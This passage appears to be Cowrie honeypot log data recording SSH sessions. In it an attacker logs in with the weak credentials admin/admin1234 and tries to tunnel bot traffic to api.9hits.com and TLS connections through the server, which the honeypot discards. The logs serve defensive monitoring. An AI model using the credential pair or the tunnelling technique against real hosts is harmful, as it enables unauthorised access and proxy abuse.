cdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:57.144774Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:58.437238Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:06.815953Z","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:06.821146Z","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:06.854212Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0; Primo NF2 Build/Primo NF2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VDBZIz88PlA2bnBSYSZLcQ%3D%3DwednSQV8QG%2B0Pxyq976B1nmBGzyQoNdOOPwspOyP%2FG3M7K1l9oFZD%2FJ4ImOQzQAUZ6F5BMqJ9FxzE5RG9Gw6CqVZ26%2B4pgaMg%2Bpw%2FrL8z7uVM1tJue4kjyPtQxm8%2B%2BJyDCK9FBPpjNZVJHDWfmbuQbvE%2FnHBatpqEZZ1LZAN8XkheycCpCK%2Bwhe4ry1yH2MsumgomAaJSYv%2FyMxf3ZzeDbsD01BhbUgSMUY5h0lL8k70wPyomV6fsYo7cUTsBibUl4id3WWZQqwe6LVuixfx2hSO6v%2BQ4sy9GCKhR2i1ctxbLR1oE%2FJAMh7gQKkYkhBkLsDbZmlujt%2B%2FEgUIKZkAUidOMBx45UzvS%2Fy%2B4MFQtiUHf%2FKoZaAR03GTj1yIR8mw1SZj8y0HQLfmD6A1M8Vfx8qUC6fLiYTkx2pBU%2Bj3LlYyNn9L7gKSnoqLxwnXSAKVw6ZKjJ7unbxloSXRKWCh9pLE2eVzEqtXPNYa5k5nVeSyizbkQUkWztIaojKAIDCKcgNKqoJ1PuvlC4nHMsAjrlukOND8uwgTD6qwIdKVy5Zg9A7qyuweo4w%2BA974WoA9VDWc3xNEWmMyCWBy1JawzlCqulV4lAH9AxfroK5KNqIgG3zibcAANqSfDGHYW6103NHj6ZTqiQwklgoqoSuY5hay%2FH9UM%2BDy9D2%2FPwW46OYaUUQk77xehq%2BvlmCI6parVUg9vXsTtWM7%2BVsqNW%2FbcQFvpvJMoJtvPcc9pGV3cHTjCxIYa5l79nhdXskGXoJlGbg8QEEilkpyt6WQwcqh2UO%2B%2FLw%2Ba7zajqeaioS%2BgUJcJikYuMoatBvz1Hru75FvjPntP8LgXXPyVdpLHWW%2BbyXNjee%2BA29CGqg6Ca7icKC7svEGLn3mysej7QvcOrvxbMmPF%2BOrjK%2BqGtpDtcEco%2BwtvjLtWX%2Fgs23A%2Fb3P%2FU5tXhTSVitrH%2BYDiIISWUzbTw3Z%2Bt1KdLcoi3o0DK6Vtx0kH9i3ASMRmLP6dsblyZ5Q7Q1elNEH5t7YT1pjwHNHC%2BQGerWB6TKxnO%2BSoxUe60%2BSSLprZr6eRh8MfP%2FjJR0%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0; Primo NF2 Build/Primo NF2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VDBZIz88PlA2bnBSYSZLcQ%3D%3DwednSQV8QG%2B0Pxyq976B1nmBGzyQoNdOOPwspOyP%2FG3M7K1l9oFZD%2FJ4ImOQzQAUZ6F5BMqJ9FxzE5RG9Gw6CqVZ26%2B4pgaMg%2Bpw%2FrL8z7uVM1tJue4kjyPtQxm8%2B%2BJyDCK9FBPpjNZVJHDWfmbuQbvE%2FnHBatpqEZZ1LZAN8XkheycCpCK%2Bwhe4ry1yH2MsumgomAaJSYv%2FyMxf3ZzeDbsD01BhbUgSMUY5h0lL8k70wPyomV6fsYo7cUTsBibUl4id3WWZQqwe6LVuixfx2hSO6v%2BQ4sy9GCKhR2i1ctxbLR1oE%2FJAMh7gQKkYkhBkLsDbZmlujt%2B%2FEgUIKZkAUidOMBx45UzvS%2Fy%2B4MFQtiUHf%2FKoZaAR03GTj1yIR8mw1SZj8y0HQLfmD6A1M8Vfx8qUC6fLiYTkx2pBU%2Bj3LlYyNn9L7gKSnoqLxwnXSAKVw6ZKjJ7unbxloSXRKWCh9pLE2eVzEqtXPNYa5k5nVeSyizbkQUkWztIaojKAIDCKcgNKqoJ1PuvlC4nHMsAjrlukOND8uwgTD6qwIdKVy5Zg9A7qyuweo4w%2BA974WoA9VDWc3xNEWmMyCWBy1JawzlCqulV4lAH9AxfroK5KNqIgG3zibcAANqSfDGHYW6103NHj6ZTqiQwklgoqoSuY5hay%2FH9UM%2BDy9D2%2FPwW46OYaUUQk77xehq%2BvlmCI6parVUg9vXsTtWM7%2BVsqNW%2FbcQFvpvJMoJtvPcc9pGV3cHTjCxIYa5l79nhdXskGXoJlGbg8QEEilkpyt6WQwcqh2UO%2B%2FLw%2Ba7zajqeaioS%2BgUJcJikYuMoatBvz1Hru75FvjPntP8LgXXPyVdpLHWW%2BbyXNjee%2BA29CGqg6Ca7icKC7svEGLn3mysej7QvcOrvxbMmPF%2BOrjK%2BqGtpDtcEco%2BwtvjLtWX%2Fgs23A%2Fb3P%2FU5tXhTSVitrH%2BYDiIISWUzbTw3Z%2Bt1KdLcoi3o0DK6Vtx0kH9i3ASMRmLP6dsblyZ5Q7Q1elNEH5t7YT1pjwHNHC%2BQGerWB6TKxnO%2BSoxUe60%2BSSLprZr6eRh8MfP%2FjJR0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:06.857609Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.095869Z","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.132539Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9e\\xdf\\xf0\\x82\\xff\\xbc\\'\\xa5\\xae\\xda\\xb5\\x9c\\xd4*\\x8ct\\xa0\\xeej<\\xdc\\xaa\\xb3\\x83@\\xff\\xf8\\xfc\\xf6CIJ \\x8c\"1\\xfb\\x9e\\xa4\\x14\\xe8?P<n>\\xb8\\xb3Y{kED\\xc7\\x14\\xc1\\x8ahi\\xc1t~\\xd8A\\xa4\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\x80\\x1b{sv\\x19\\xc5<Qu~%\\xbd\\x9dp\\xcb\\xab\\x82x\\xb0B\\x07\\xf0\\x17\\x00\\xba\\xf6\\x9b\\xfd/\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9e\\xdf\\xf0\\x82\\xff\\xbc\\'\\xa5\\xae\\xda\\xb5\\x9c\\xd4*\\x8ct\\xa0\\xeej<\\xdc\\xaa\\xb3\\x83@\\xff\\xf8\\xfc\\xf6CIJ \\x8c\"1\\xfb\\x9e\\xa4\\x14\\xe8?P<n>\\xb8\\xb3Y{kED\\xc7\\x14\\xc1\\x8ahi\\xc1t~\\xd8A\\xa4\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\x80\\x1b{sv\\x19\\xc5<Qu~%\\xbd\\x9dp\\xcb\\xab\\x82x\\xb0B\\x07\\xf0\\x17\\x00\\xba\\xf6\\x9b\\xfd/\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.135973Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.176618Z","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.210163Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03K3W2\\x96o\\x82g/\\x94\\xb7h\\x06\\x8fil\\xfc\\xdc\\x07\\xca-\\xc6QM\\xfb|z(\\xa7Q\\xf8\\x07 \\xf9\\'\\x92\\xa5T\\xf7\\x11\\xa6\\xb6\\xd2j\\xf4H\\xb1\\xd67O}M\\xdf\\x84{\\xad\\xe9&\\xc9a\\xc8\\xda(\\x97\\xc1\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 *\\xd7N^\\x8d2\\x04SR\\xb3\\xf0\\xc6\\xe2\\xe3<\\xd4\\x08z\\xe2\\xe4-Bt\\xaf\\xd1\\x91=x\\xd6\\xe5QH\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03K3W2\\x96o\\x82g/\\x94\\xb7h\\x06\\x8fil\\xfc\\xdc\\x07\\xca-\\xc6QM\\xfb|z(\\xa7Q\\xf8\\x07 \\xf9\\'\\x92\\xa5T\\xf7\\x11\\xa6\\xb6\\xd2j\\xf4H\\xb1\\xd67O}M\\xdf\\x84{\\xad\\xe9&\\xc9a\\xc8\\xda(\\x97\\xc1\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 *\\xd7N^\\x8d2\\x04SR\\xb3\\xf0\\xc6\\xe2\\xe3<\\xd4\\x08z\\xe2\\xe4-Bt\\xaf\\xd1\\x91=x\\xd6\\xe5QH\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:07.212911Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:12.446359Z","src_ip":"63.141.242.2","session":"faa269ebc5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":52152,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8dde4d10509","protocol":"ssh","message":"New connection: 23.175.50.51:52152 (10.17.0.5:22) [session: c8dde4d10509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:19.970258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:19.985251Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:20.194066Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.143524408340454,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:20.230157Z","src_ip":"172.81.62.90","session":"0d90a607aff2","protocol":"telnet"}
